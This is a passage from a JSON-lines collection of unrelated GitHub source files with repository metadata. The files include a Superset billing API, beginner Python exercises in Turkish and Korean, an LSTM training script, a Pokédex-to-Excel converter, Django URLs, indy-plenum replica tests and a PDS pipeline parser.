@expose(\"/\", methods=[\"DELETE\"])\n @protect()\n @safe\n def delete(self, pk: str) -> Response: # pylint: disable=arguments-differ\n from superset.extensions import celery_app\n celery_app.control.revoke(pk, terminate=True, signal=\"SIGTERM\")\n return self.response(200, message=\"OK\")\n\n\nclass BillingApi(BaseApi):\n\n resource_name = \"billings\"\n\n @expose(\"/available-time\", methods=[\"GET\"])\n @protect()\n @safe\n def get_avalable_time(self) -> Response:\n subscription = db.session.query(\n modelsCustom.BillingSubscription).filter(\n modelsCustom.BillingSubscription.user_id == g.user.get_id(),\n or_(\n modelsCustom.BillingSubscription.end_time.is_(None),\n modelsCustom.BillingSubscription.end_time >= datetime.datetime.now()\n )\n ).first()\n\n if not subscription:\n return self.response(400, message=\"Your subscription is either expired or unactivated.\")\n\n product = [product for product in Stripe().get_products() \\\n if product.id==subscription.stripe_product_id] or None\n\n return self.response(\n 200,\n available_time=subscription.billing_available_time,\n plan_name=product[0].name if product is not None else \"Unknown\"\n )\n","repo_name":"faithfulnguyen/actableai-app","sub_path":"superset/views/custom.py","file_name":"custom.py","file_ext":"py","file_size_in_byte":34289,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"16940555356","text":"class bcolors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n \ndef f(s):\n print(bcolors.OKBLUE + s + bcolors.ENDC)\n\nf('Hello world!')\n","repo_name":"zsc/kid-programming","sub_path":"d002-color-print.py","file_name":"d002-color-print.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"32"} +{"seq_id":"29911253940","text":"names = [\"Ali\", \"Yağmur\", \"Hakan\", \"Deniz\"]\nyears = [1998,2000,1998,1987]\n\n#Cenk ismini listenin sonuna ekleyin\nnames.append(\"Cenk\")\nprint (names)\n#Sena değerini listenin başına ekleyin\nnames.insert(0, \"Sena\")\nprint (names)\n#Deniz ismini listeden silin\nnames.remove(\"Deniz\")\nprint (names)\n#Ali listenin bir elemanı mıdır?\nsearch = \"Ali\" in names\nprint (search)\n#liste elemanlarını ters çevirin\nnames.reverse()\nprint(names)\n#Liste elemanlarını alfabetik olarak sıralayın\nnames.sort()\nprint(names)\nnames.sort(reverse=True)\nprint(names)\n#years listesini rakamsal büyüklüğe göre sıralayın\nyears.sort()\nprint (years)\n\n#str = \"Chevrolet, Dacia\" dizisini karakter listesine çevirin\nstir = \"Checrolet, Dacia\"\nchar_stir = stir.split(\",\")\nprint (char_stir)\n#years dizisinin enbüyük ve en küçük elemanı nedir\neB = max(years)\neK = min(years)\nprint (f\"{eB} 'years' dizisinin en büyük değeri, {eK} ise en küçük değeridir\")\n#years dizisinde kaç tane 1998 elamanı vardır\nsay = years.count(1998)\nprint (say)\n#years dizinin tüm elemanlarını silin\nyears.clear()\nprint (years)\n#kullanıcıdan alacağınız üç tane marka bilgisini bir listede saklayın\n\nmarkalar = []\nmarka = input(\"Bir marka girin: \")\nmarkalar.append(marka)\n\nmarka = input(\"Bir marka girin: \")\nmarkalar.append(marka)\n\nmarka = input(\"Bir marka girin: \")\nmarkalar.append(marka)\n\nprint(markalar)\n\n","repo_name":"ayhanyalcinsoy/python","sub_path":"BTK/1-objeler ve veri yapıları/list-method-app.py","file_name":"list-method-app.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39363518508","text":"import pandas as pd\nimport torch\nimport numpy as np\nimport pdb\nfrom pathlib import Path\nimport os\nfrom os.path import abspath\nfrom death.post.inputgen_planF import InputGenF\nfrom torch.utils.data import DataLoader\nimport torch.nn as nn\nfrom torch.nn.modules import LSTM\nfrom torch.autograd import Variable\nimport pickle\nfrom shutil import copy\nimport traceback\nfrom collections import deque\nimport datetime\nfrom death.lstmbaseline.channelLSTM import ChannelLSTM\nfrom death.lstmbaseline.lstmcm import ChannelManager\nfrom death.DNC.tsDNCtrainer import logprint\n\nbatch_size = 1\n\n\ndef sv(var):\n return var.data.cpu().numpy()\n\nclass dummy_context_mgr():\n def __enter__(self):\n return None\n\n def __exit__(self, exc_type, exc_value, traceback):\n return False\n\ndef save_model(net, optim, epoch, iteration, savestr):\n epoch = int(epoch)\n task_dir = os.path.dirname(abspath(__file__))\n if not os.path.isdir(Path(task_dir) / \"saves\" / savestr):\n os.mkdir(Path(task_dir) / \"saves\" / savestr)\n pickle_file = Path(task_dir).joinpath(\"saves/\" + savestr + \"/lstm_\" + str(epoch) + \"_\" + str(iteration) + \".pkl\")\n with pickle_file.open('wb') as fhand:\n torch.save((net, optim, epoch, iteration), fhand)\n print('model saved at', pickle_file)\n\ndef load_model(computer, optim, starting_epoch, starting_iteration, savestr):\n task_dir = os.path.dirname(abspath(__file__))\n save_dir = Path(task_dir) / \"saves\" / savestr\n highestepoch = 0\n highestiter = 0\n for child in save_dir.iterdir():\n try:\n epoch = str(child).split(\"_\")[3]\n iteration = str(child).split(\"_\")[4].split('.')[0]\n except IndexError:\n print(str(child))\n iteration = int(iteration)\n epoch = int(epoch)\n # some files are open but not written to yet.\n if child.stat().st_size > 20480:\n if epoch > highestepoch or (iteration > highestiter and epoch == highestepoch):\n highestepoch = epoch\n highestiter = iteration\n if highestepoch == 0 and highestiter == 0:\n print(\"nothing to load\")\n return computer, optim, starting_epoch, starting_iteration\n pickle_file = Path(task_dir).joinpath(\n \"saves/\" + savestr + \"/lstm_\" + str(highestepoch) + \"_\" + str(highestiter) + \".pkl\")\n print(\"loading model at\", pickle_file)\n with pickle_file.open('rb') as pickle_file:\n computer, optim, epoch, iteration = torch.load(pickle_file)\n print('Loaded model at epoch ', highestepoch, 'iteartion', iteration)\n\n return computer, optim, highestepoch, highestiter\n\n\ndef salvage():\n # this function will pick up the last two highest epoch training and save them somewhere else,\n # this is to prevent unexpected data loss.\n # We are working in a /tmp folder, and we write around 1Gb per minute.\n # The loss of data is likely.\n\n task_dir = os.path.dirname(abspath(__file__))\n save_dir = Path(task_dir) / \"lstmsaves\"\n highestepoch = -1\n secondhighestiter = -1\n highestiter = -1\n for child in save_dir.iterdir():\n epoch = str(child).split(\"_\")[3]\n iteration = str(child).split(\"_\")[4].split('.')[0]\n iteration = int(iteration)\n epoch = int(epoch)\n # some files are open but not written to yet.\n if epoch > highestepoch and iteration > highestiter and child.stat().st_size > 20480:\n highestepoch = epoch\n highestiter = iteration\n if highestepoch == -1 and highestiter == -1:\n print(\"no file to salvage\")\n return\n if secondhighestiter != -1:\n pickle_file2 = Path(task_dir).joinpath(\"lstmsaves/lstm_\" + str(highestepoch) + \"_\" + str(secondhighestiter) + \".pkl\")\n copy(pickle_file2, \"/infodev1/rep/projects/jason/pickle/lstmsalvage2.pkl\")\n\n pickle_file1 = Path(task_dir).joinpath(\"lstmsaves/lstm_\" + str(highestepoch) + \"_\" + str(highestiter) + \".pkl\")\n copy(pickle_file1, \"/infodev1/rep/projects/jason/pickle/salvage1.pkl\")\n\n print('salvaged, we can start again with /infodev1/rep/projects/jason/pickle/lstmsalvage1.pkl')\n\ndef run_one_step(computer, channelmanager, optimizer, binary_criterion):\n computer.train()\n optimizer.zero_grad()\n input, target, loss_type, states_tuple = next(channelmanager)\n target=Variable(target.squeeze(1).cuda())\n input=Variable(input).cuda()\n loss_type = Variable(loss_type).cuda()\n computer.assign_states_tuple(states_tuple)\n output, states_tuple = computer(input)\n channelmanager.push_states(states_tuple)\n\n time_to_event_output = output[:, 0]\n cause_of_death_output = output[:, 1:]\n time_to_event_target = target[:, 0]\n cause_of_death_target = target[:, 1:]\n loss = binary_criterion(cause_of_death_output, cause_of_death_target)\n loss.backward()\n optimizer.step()\n return loss\n\ndef valid_one_step(computer, channelmanager, binary_criterion):\n computer.eval()\n input, target, loss_type, states_tuple = next(channelmanager)\n target = target.squeeze(1)\n input = Variable(input).cuda()\n target = Variable(target.cuda())\n loss_type = Variable(loss_type).cuda()\n computer.assign_states_tuple(states_tuple)\n output, states_tuple = computer(input)\n channelmanager.push_states(states_tuple)\n\n time_to_event_output = output[:, 0]\n cause_of_death_output = output[:, 1:]\n time_to_event_target = target[:, 0]\n cause_of_death_target = target[:, 1:]\n\n loss = binary_criterion(cause_of_death_output, cause_of_death_target)\n return loss\n\n\ndef train(computer, optimizer, real_criterion, binary_criterion,\n train, valid, starting_epoch, total_epochs, starting_iter, iter_per_epoch, savestr, logfile=True):\n print_interval = 100\n val_interval = 1000\n save_interval = 1000\n target_dim = None\n rldmax_len = 500\n val_batch = 500\n running_loss_deque = deque(maxlen=rldmax_len)\n\n # erase the logfile\n\n for epoch in range(starting_epoch, total_epochs):\n # all these are batches\n for i in range(starting_iter, iter_per_epoch):\n train_step_loss = run_one_step(computer, train, optimizer, binary_criterion)\n if train_step_loss is not None:\n printloss = float(train_step_loss[0])\n else:\n raise ValueError(\"What is happening?\")\n printloss = 10000\n # computer.new_sequence_reset()\n running_loss_deque.appendleft(printloss)\n if i % print_interval == 0:\n running_loss = np.mean(running_loss_deque)\n logprint(logfile, \"learning. count: %4d, training loss: %.10f, running loss: %.10f\" %\n (i, printloss, running_loss))\n\n if i % val_interval == 0:\n printloss = 0\n for _ in range(val_batch):\n assert(printloss==printloss)\n val_loss=valid_one_step(computer, valid, binary_criterion)\n if val_loss is not None:\n printloss += float(val_loss[0])\n else:\n global failure\n failure+=1\n printloss = printloss / val_batch\n logprint(logfile,\"validation. count: %4d, val loss : %.10f\" %\n (i, printloss))\n\n\n if i % save_interval == 0:\n save_model(computer, optimizer, epoch, i, savestr)\n print(\"model saved for epoch\", epoch, \"input\", i)\n\ndef valid(computer, optimizer, real_criterion, binary_criterion,\n train, valid, starting_epoch, total_epochs, starting_iter, iter_per_epoch, savestr, logfile=False):\n \"\"\"\n I have problem comparing the performances of different models. They do not seem to refer to the same value.\n Processing by sequences and processing by steps are fundamentally different and unfair.\n\n :param computer:\n :param optimizer:\n :param real_criterion:\n :param binary_criterion:\n :param train: this is the ChannelManager class. It has a __next__ method defined.\n :param valid: ditto\n :param starting_epoch:\n :param total_epochs:\n :param starting_iter:\n :param iter_per_epoch:\n :param savestr: a custom string that identifies this training run\n :param logfile:\n :return:\n \"\"\"\n global global_exception_counter\n print_interval = 100\n val_interval = 10000\n save_interval = 10000\n target_dim = None\n rldmax_len = 500\n val_batch = 100000\n running_loss_deque = deque(maxlen=rldmax_len)\n computer.eval()\n\n val_losses=[]\n for i in range(val_batch):\n val_loss=valid_one_step(computer, valid, binary_criterion)\n if val_loss is not None:\n printloss = float(val_loss[0])\n val_losses.append(printloss)\n else:\n raise ValueError(\"Why is val_loss None again?\")\n if logfile:\n logprint(logfile,\"validation. count: %4d, val loss : %.10f\" %\n (i, printloss))\n print(\"validation. count: %4d, loss: %.10f\" %\n (i, printloss))\n print(\"loss:\",np.mean(val_losses))\n\n\ndef validationonly():\n '''\n :return:\n '''\n\n lr = 1e-2\n optim = None\n logfile = \"vallog.txt\"\n\n num_workers = 8\n ig = InputGenD()\n # multiprocessing disabled, because socket request seems unstable.\n # performance should not be too bad?\n trainds, validds = train_valid_split(ig, split_fold=10)\n validdl = DataLoader(dataset=validds,num_workers=num_workers, batch_size=1)\n print(\"Using\", num_workers, \"workers for validation set\")\n # testing whether this LSTM works is basically a question whether\n lstm = ChannelLSTM()\n\n # load model:\n print(\"loading model\")\n lstm, optim, starting_epoch, starting_iteration = load_model(lstm, optim, 0, 0)\n\n lstm = lstm.cuda()\n if optim is None:\n optimizer = torch.optim.Adam(lstm.parameters(), lr=lr)\n else:\n # print('use Adadelta optimizer with learning rate ', lr)\n # optimizer = torch.optim.Adadelta(computer.parameters(), lr=lr)\n optimizer = optim\n\n real_criterion = nn.SmoothL1Loss()\n binary_criterion = nn.BCEWithLogitsLoss()\n\n traindl=None\n total_epochs=None\n iter_per_epoch=None\n\n # starting with the epoch after the loaded one\n valid(lstm, optimizer, real_criterion, binary_criterion,\n traindl, validdl, int(starting_epoch), total_epochs,int(starting_iteration), iter_per_epoch, logfile)\n\n\ndef main(load=False,savestr=\"lstm\"):\n \"\"\"\n 11/29\n lr=1e-2\n bottom loss 0.0004\n val loss 0.002~0.001 afterwards, which is comparable to DNC\n There are signs of sparse output, because sometimes the prediction is exactly correct.\n \"\"\"\n\n '''\n 12/4\n Validation ranges from 0.0003 to 0.0009\n training loss 0.0003\n Halving both parameters\n '''\n\n total_epochs = 3\n iter_per_epoch = 100000\n lr = 1e-4\n optim = None\n starting_epoch = 0\n starting_iteration= 0\n logstring = str(datetime.datetime.now().time())\n logstring.replace(\" \", \"_\")\n logfile = \"log/\"+savestr+\"_\"+logstring+\".txt\"\n param_bs=16\n\n num_workers = 16\n lstm=ChannelLSTM()\n\n ig = InputGenF(death_fold=0)\n trainds = ig.get_train()\n validds = ig.get_valid()\n testds = ig.get_test()\n traindl = DataLoader(dataset=trainds, batch_size=1, num_workers=num_workers)\n validdl = DataLoader(dataset=validds, batch_size=1, num_workers=num_workers)\n traindl = ChannelManager(traindl, param_bs, model=lstm)\n validdl = ChannelManager(validdl, param_bs, model=lstm)\n\n print(\"Using\", num_workers, \"workers for training set\")\n # testing whether this LSTM works is basically a question whether\n\n # load model:\n if load:\n print(\"loading model\")\n lstm, optim, starting_epoch, starting_iteration = load_model(lstm, optim, starting_epoch, starting_iteration, savestr)\n\n lstm = lstm.cuda()\n if optim is None:\n optimizer = torch.optim.Adam(lstm.parameters(), lr=lr)\n else:\n # print('use Adadelta optimizer with learning rate ', lr)\n # optimizer = torch.optim.Adadelta(computer.parameters(), lr=lr)\n optimizer = optim\n\n real_criterion = nn.SmoothL1Loss()\n binary_criterion = nn.BCEWithLogitsLoss()\n\n # starting with the epoch after the loaded one\n\n train(lstm, optimizer, real_criterion, binary_criterion,\n traindl, validdl, int(starting_epoch), total_epochs,\n int(starting_iteration), iter_per_epoch, savestr, logfile)\n\n\n\n\nif __name__ == \"__main__\":\n # main(load=True\n main(load=True,savestr=\"cnlstm\")\n\n '''\n Loss is around 0.004\n Validation set was exhausted. We should make a wrapper and reuse it.w\n Hidden size 128, layer size 16\n '''","repo_name":"phimachine/mayoehr","sub_path":"death/lstmbaseline/channelLSTMtrainer.py","file_name":"channelLSTMtrainer.py","file_ext":"py","file_size_in_byte":12776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15057326709","text":"# necessary imports\r\nfrom urllib.request import urlopen\r\nimport json\r\nimport pandas as pd\r\n\r\nlink = \"https://raw.githubusercontent.com/Biuni/PokemonGO-Pokedex/master/pokedex.json\"\r\n\r\n# read data from link as dictonary\r\nresponse = urlopen(link) \r\ndata_json = json.loads(response.read())\r\n \r\n#print(data_json)\r\n\r\n# create list contain columns names.\r\ncolumns = data_json['pokemon'][0].keys()\r\n\r\n\r\n#check if any columns are missing or not if any then add it with value of Nan\r\nfor i in range(len(data_json['pokemon'])):\r\n #print(data_json['pokemon'][i].keys())\r\n for j in columns:\r\n if j not in data_json['pokemon'][i].keys():\r\n data_json['pokemon'][i][j] = \"Nan\"\r\n #print(f\"{i} : {j}\")\r\n\r\n#create dataframe from dictonary.\r\ndf = pd.DataFrame.from_dict(data_json['pokemon'], orient='columns')\r\n\r\n# create excel file from dataframe \r\ndf.to_excel(\"pokemon.xlsx\")","repo_name":"nitesh29ns/Placement_Assignment_nitesh_sharma","sub_path":"python_answer_3.py","file_name":"python_answer_3.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32562951030","text":"# 문제1\n\nn_1 = int(input('# 정수를 출력하세요.'))\nprint(n_1)\n\n# 문제2\n\nn_2 = map(str,input('# 단어를 구분해서 출력하세요. ').split())\nprint(*n_2)\n\n# 문제3\n\nn_3 = int(input('# 테스트 케이스마다 입력 값을 그대로 출력하세요. '))\n\nfor i in range(n_3):\n n_3_0 = int(input())\n print(n_3_0)\n \n# 문제4\n\nn_4 = list(map(int,input('# 2개 이상의 정수를 출력하세요.').split()))\n\nprint(*n_4)\n\n# 문제5\n\na_5, b_5 = map(int,input().split())\n\nprint(a_5,b_5)\n\n# 문제6\n\nn_6 = map(str,input('# 단어를 구분해서 출력하세요.').split())\n\nprint(*n_6)\n\n# 문제7\n\nn_7 = int(input('# 테스트 케이스 수'))\n\nfor _ in range(n_7):\n n_7_0 = list(map(int,input().split()))\n print(*n_7_0)\n \n# 문제8\n\nn_8 = int(input('# 테스트 케이스 수'))\n\nfor _ in range(n_8):\n n_8_0 = list(map(int,input().split()))\n print(*n_8_0)","repo_name":"S05p/TIL","sub_path":"3주차/Day2/실습_입출력 연습.py","file_name":"실습_입출력 연습.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"29074007580","text":"from ase import Atoms\nfrom JDFTx import JDFTx\nfrom ase.parallel import rank, size\n\nd = 1.1 #Initial bond length guess\nCO = Atoms('CO', \n positions=[(0, 0, 0), (0, 0, d)],\n cell=[(6,0,0),(0,6,0),(0,0,7)],\n pbc = [False, False, False])\n\n#Set up JDFTx calculator\ncalculator = JDFTx(\n executable='srun -n 1 -N 1 -c 12 --exclude=node[1001-1032] /home/jfm343/JDFTXDIR/build/jdftx',\n pseudoDir='/home/jfm343/JDFTXDIR/build/pseudopotentials',\n pseudoSet='GBRV-pbe',\n commands={'elec-cutoff' : '20 100', 'elec-ex-corr' :'gga-PBEsol'})\nCO.set_calculator(calculator)\n\n#Structure optimization\nfrom ase.optimize import BFGS\ndyn = BFGS(CO)\ndyn.run(fmax=0.05)\n\ncalculator.clean() #Clean up run files from /tmp\n","repo_name":"MendezV/ASE_test","sub_path":"BFGS.py","file_name":"BFGS.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40091496977","text":"# -*- coding: utf-8 -*-\n\"\"\"\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n .\n 사용 프로그래밍 언어에 대한 정보\n\"\"\"\n\n\nfrom sqlalchemy import Column\nfrom sqlalchemy.dialects.mysql import VARCHAR, INTEGER\n\nfrom model import Base\n\nclass Languages(Base) :\n \n __tablename__ = 'Languages'\n \n languageIndex = Column(INTEGER\n (unsigned = True),\n primary_key = True,\n autoincrement = True,\n nullable = False)\n languageName = Column(VARCHAR(255), \n nullable = False,\n unique = True)\n languageVersion = Column(VARCHAR(255),\n nullable = True,\n unique = True)\n","repo_name":"KMUGradeServerProject/Open_SoftWare_GradeServer","sub_path":"celeryServer/model/languages.py","file_name":"languages.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"35817261924","text":"import pandas as pd\nimport numpy as np\n\nfrom collections import defaultdict\nfrom utils import read_arff\nfrom pathlib import Path\n\nif __name__ == '__main__':\n syn_path = Path('datasets', 'synthetic')\n rw_path = Path('datasets', 'real-world')\n \n syn_df_dict = defaultdict(list)\n rw_df_dict = defaultdict(list)\n \n for p in syn_path.iterdir():\n if not p.is_file():\n continue\n \n X, y = read_arff(p)\n syn_df_dict['dataset'].append(p.stem)\n syn_df_dict['npoints'].append(X.shape[0])\n syn_df_dict['nfeatures'].append(X.shape[1])\n syn_df_dict['nclusters'].append(np.unique(y).size)\n \n for p in rw_path.iterdir():\n if not p.is_file() or not p.stem in to_keep:\n continue\n \n X, y = read_arff(p)\n rw_df_dict['dataset'].append(p.stem)\n rw_df_dict['npoints'].append(X.shape[0])\n rw_df_dict['nfeatures'].append(X.shape[1])\n rw_df_dict['nclusters'].append(np.unique(y).size)\n \n syn_df = pd.DataFrame(syn_df_dict) \\\n .sort_values('dataset') \\\n .set_index('dataset')\n rw_df = pd.DataFrame(rw_df_dict) \\\n .sort_values('dataset') \\\n .set_index('dataset')\n \n df = pd.concat([syn_df, rw_df], axis=0) \\\n .rename({'npoints': '#points', 'nfeatures': '#features', 'nclusters': '#clusters'}, axis=1)\n \n \n print(df)\n df.to_latex('dataset_stats.tex')","repo_name":"lccol/bridge-clustering","sub_path":"generate_stat_table.py","file_name":"generate_stat_table.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"32"} +{"seq_id":"7972934638","text":"# name : Alexander Shepard\n# email : ams584@pitt.edu\n# date :\n# class : CS0008-f2016\n# instructor : Max Novelli (man8@pitt.edu)\n#\n# Description:\n# Starting with Python, Chapter 3, exercise 11\nb = int(input(\"Enter the number of books you purchased this month:\")) #Recieves the number of books the customer purchased\np = 0 #Defines the variable points\nif b >= 0 and b < 2: #Checks what number of points to assign based on books purchased\n p = 0\nelif b >= 2 and b < 4:\n p = 5\nelif b >= 4 and b < 6:\n p = 15\nelif b >= 6 and b < 8:\n p = 30\nelif b >= 8:\n p = 60\nprint(\"You earned:\", p, \"points!\") #Prints the number of points","repo_name":"ams584/CS0008-f2016","sub_path":"ch3 examples/ch3-ex11.py","file_name":"ch3-ex11.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6375666535","text":"# CA2: Registration/Authentication\n# CA3: Test and Security\n\n\"\"\"\nThis file defines the accessible endpoints within the internal app accounts.\n\"\"\"\n\nfrom django.contrib.auth.views import LoginView\nfrom django.urls import path\n\nfrom .views import SignUpView, DetailView, DeleteView, UpdateEmailView\n\napp_name = 'accounts'\nurlpatterns = [\n path(\"login/\", LoginView.as_view(redirect_authenticated_user=True), name=\"login\"), # log in view\n path(\"signup/\", SignUpView.as_view(), name=\"signup\"), # sign up view\n path(\"/delete/\", DeleteView.as_view(), name=\"delete\"), # delete view of specific user\n path(\"/detail/\", DetailView.as_view(), name=\"detail\"), # details view of specific user\n path(\"/detail/email\", UpdateEmailView.as_view(), name=\"update_email\"), # update email view of specific user\n]\n","repo_name":"mateusfonseca/dorsetMusicCollection","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35818859785","text":"import pytest\n\nfrom plenum.common.config_helper import PNodeConfigHelper\nfrom plenum.common.startable import Mode\nfrom plenum.server.replica_validator_enums import INCORRECT_PP_SEQ_NO, OLD_VIEW, ALREADY_ORDERED, STASH_WATERMARKS, \\\n STASH_CATCH_UP, STASH_VIEW_3PC\nfrom plenum.test.helper import checkDiscardMsg, generate_state_root, create_prepare\nfrom plenum.test.test_node import TestNode\nfrom plenum.test.testing_utils import FakeSomething\n\n\n@pytest.fixture(scope='function')\ndef test_node(\n tdirWithPoolTxns,\n tdirWithDomainTxns,\n poolTxnNodeNames,\n tdirWithNodeKeepInited,\n tdir,\n tconf,\n allPluginsPath):\n\n node_name = poolTxnNodeNames[0]\n config_helper = PNodeConfigHelper(node_name, tconf, chroot=tdir)\n node = TestNode(\n node_name,\n config_helper=config_helper,\n config=tconf,\n pluginPaths=allPluginsPath)\n view_no = 1\n node.view_changer = FakeSomething(view_no=view_no,\n view_change_in_progress=False)\n for r in node.replicas.values():\n r._consensus_data.view_no = view_no\n node.mode = Mode.participating\n yield node\n node.onStopping() # TODO stop won't call onStopping as we are in Stopped state\n\n\ndef test_discard_process_three_phase_msg(test_node, looper):\n sender = \"NodeSender\"\n inst_id = 0\n replica = test_node.replicas[inst_id]\n view_no = test_node.viewNo\n pp_seq_no = 0 # should start with 1\n msg = create_prepare((view_no, pp_seq_no), generate_state_root(), inst_id)\n replica._external_bus.process_incoming(msg, sender)\n checkDiscardMsg([replica.stasher, ], msg, INCORRECT_PP_SEQ_NO)\n\n\ndef test_discard_process_three_phase_msg_for_old_view(test_node, looper):\n sender = \"NodeSender\"\n inst_id = 0\n replica = test_node.replicas[inst_id]\n view_no = test_node.viewNo - 1\n pp_seq_no = replica.last_ordered_3pc[1] + 1\n msg = create_prepare((view_no, pp_seq_no), generate_state_root(), inst_id)\n replica._external_bus.process_incoming(msg, sender)\n checkDiscardMsg([replica.stasher, ], msg, OLD_VIEW)\n\n\ndef test_discard_process_three_phase_already_ordered_msg(test_node, looper):\n sender = \"NodeSender\"\n inst_id = 0\n replica = test_node.replicas[inst_id]\n replica.last_ordered_3pc = (test_node.viewNo, 100)\n replica._checkpointer.update_watermark_from_3pc()\n view_no = test_node.viewNo\n pp_seq_no = replica.h\n msg = create_prepare((view_no, pp_seq_no), generate_state_root(), inst_id)\n replica._external_bus.process_incoming(msg, sender)\n checkDiscardMsg([replica.stasher, ], msg, ALREADY_ORDERED)\n\n\ndef test_process_three_phase_msg_with_catchup_stash(test_node, looper):\n sender = \"NodeSender\"\n inst_id = 0\n replica = test_node.replicas[inst_id]\n old_catchup_stashed_msgs = replica.stasher.stash_size(STASH_CATCH_UP)\n test_node.mode = Mode.syncing # catchup in process\n view_no = test_node.viewNo\n pp_seq_no = replica.last_ordered_3pc[1] + 1\n msg = create_prepare((view_no, pp_seq_no), generate_state_root(), inst_id)\n replica._external_bus.process_incoming(msg, sender)\n assert old_catchup_stashed_msgs + 1 == replica.stasher.stash_size(STASH_CATCH_UP)\n\n\ndef test_process_three_phase_msg_and_stashed_future_view(test_node, looper):\n sender = \"NodeSender\"\n inst_id = 0\n replica = test_node.replicas[inst_id]\n old_stashed_future_view_msgs = replica.stasher.stash_size(STASH_VIEW_3PC)\n view_no = test_node.viewNo + 1\n pp_seq_no = replica.last_ordered_3pc[1] + 1\n msg = create_prepare((view_no, pp_seq_no), generate_state_root(), inst_id)\n replica._external_bus.process_incoming(msg, sender)\n assert old_stashed_future_view_msgs + 1 == replica.stasher.stash_size(STASH_VIEW_3PC)\n\n\ndef test_process_three_phase_msg_and_stashed_for_next_checkpoint(test_node, looper):\n sender = \"NodeSender\"\n inst_id = 0\n replica = test_node.replicas[inst_id]\n old_stashed_watermarks_msgs = replica.stasher.stash_size(STASH_WATERMARKS)\n view_no = test_node.viewNo\n pp_seq_no = replica.H + 1\n msg = create_prepare((view_no, pp_seq_no), generate_state_root(), inst_id)\n replica._external_bus.process_incoming(msg, sender)\n assert old_stashed_watermarks_msgs + 1 == replica.stasher.stash_size(STASH_WATERMARKS)\n","repo_name":"hyperledger/indy-plenum","sub_path":"plenum/test/replica/test_3pc_messages_validation.py","file_name":"test_3pc_messages_validation.py","file_ext":"py","file_size_in_byte":4314,"program_lang":"python","lang":"en","doc_type":"code","stars":210,"dataset":"github-code","pt":"32"} +{"seq_id":"34029439410","text":"#!/usr/bin/env python\n\nimport os\nimport sys\nimport pvl\nimport lxml.etree as ET\nimport logging\nimport argparse\nimport json\n\nfrom pds_pipelines.pds_db_query import PDS_DBquery\nfrom pds_pipelines.redis_queue import RedisQueue\nfrom pds_pipelines.redis_hash import RedisHash\nfrom pds_pipelines.recipe import Recipe\nfrom pds_pipelines.process import Process\nfrom pds_pipelines.make_map import MakeMap\nfrom pds_pipelines.hpc_job import HPCjob\nfrom pds_pipelines.redis_lock import RedisLock\nfrom pds_pipelines.config import recipe_base, pds_log, scratch, archive_base, default_namespace, slurm_log, cmd_dir, pds_info, lock_obj\n\n\nclass jobXML(object):\n\n def __init__(self, xml):\n \"\"\"\n Parameters\n ----------\n xml\n \"\"\"\n self.pds_info = json.load(open(pds_info, 'r'))\n self.root = ET.fromstring(xml.encode())\n\n def getInst(self):\n \"\"\"\n Returns\n -------\n str\n inst\n \"\"\"\n for info in self.root.findall('.//Process'):\n inst = info.find('.//instrument').text\n return inst\n\n def getCleanName(self):\n \"\"\" Get the internally consistent representation of the instrument name.\n\n Searches the PDSinfo dict for the 'clean name' that matches the recipes. This function essentially\n maps URL->file path->internally consistent name.\n \"\"\"\n # @TODO Fix after refactor\n # NOTE: I know this is really, really bad. We're kind of backed into a corner here,\n # and partial string matching on a value-based lookup of a nested dict is the temporary solution.\n\n # Get any file listed. Assumes that all files are from the same instrument\n file_name = self.getFileList()[0]\n file_name = file_name.replace('http://pdsimage.wr.usgs.gov/Missions/', archive_base)\n\n candidates = []\n\n for key in self.pds_info:\n if file_name.startswith(self.pds_info[key]['path']):\n candidates.append(key)\n\n # try to filter list based on upc_reqs. If upc_reqs isn't specified, just skip the filtering step\n # ps can't use 'filter' because not all elements have upc_reqs, so they may raise exceptions.\n for item in candidates:\n try:\n if not all(x in file_name for x in self.pds_info[item]['upc_reqs']):\n candidates.remove(item)\n except KeyError:\n # Intentionally left blank. Unspecified upc_reqs is valid -- there's just nothing to do for those elements\n pass\n\n # If multiple candidates still exist, then it is not possible to uniquely identify the clean name\n if len(candidates) > 1:\n raise(RuntimeError('Multiple candidates found for {} with no resolvable clean name'.format(file_name)))\n\n try:\n return candidates[0]\n except IndexError:\n raise(KeyError('No key found in PDSInfo dict for path {}'.format(file_name)))\n\n\n\n def getProcess(self):\n \"\"\"\n Returns\n -------\n str\n PT\n \"\"\"\n for info in self.root.findall('Process'):\n PT = info.find('ProcessName').text\n return PT\n\n def getTargetName(self):\n \"\"\"\n Returns\n -------\n NoneType\n 'None' if 'info.find('.//TargetName')' is None\n str\n otherwise return 'info.find('.//TargetName').text'\n \"\"\"\n for info in self.root.iter('Target'):\n if info.find('.//TargetName') is None:\n return None\n else:\n return info.find('.//TargetName').text\n\n def getERadius(self):\n \"\"\"\n Returns\n -------\n NoneType\n 'None' if 'info.find('.//EquatorialRadius')' is None\n 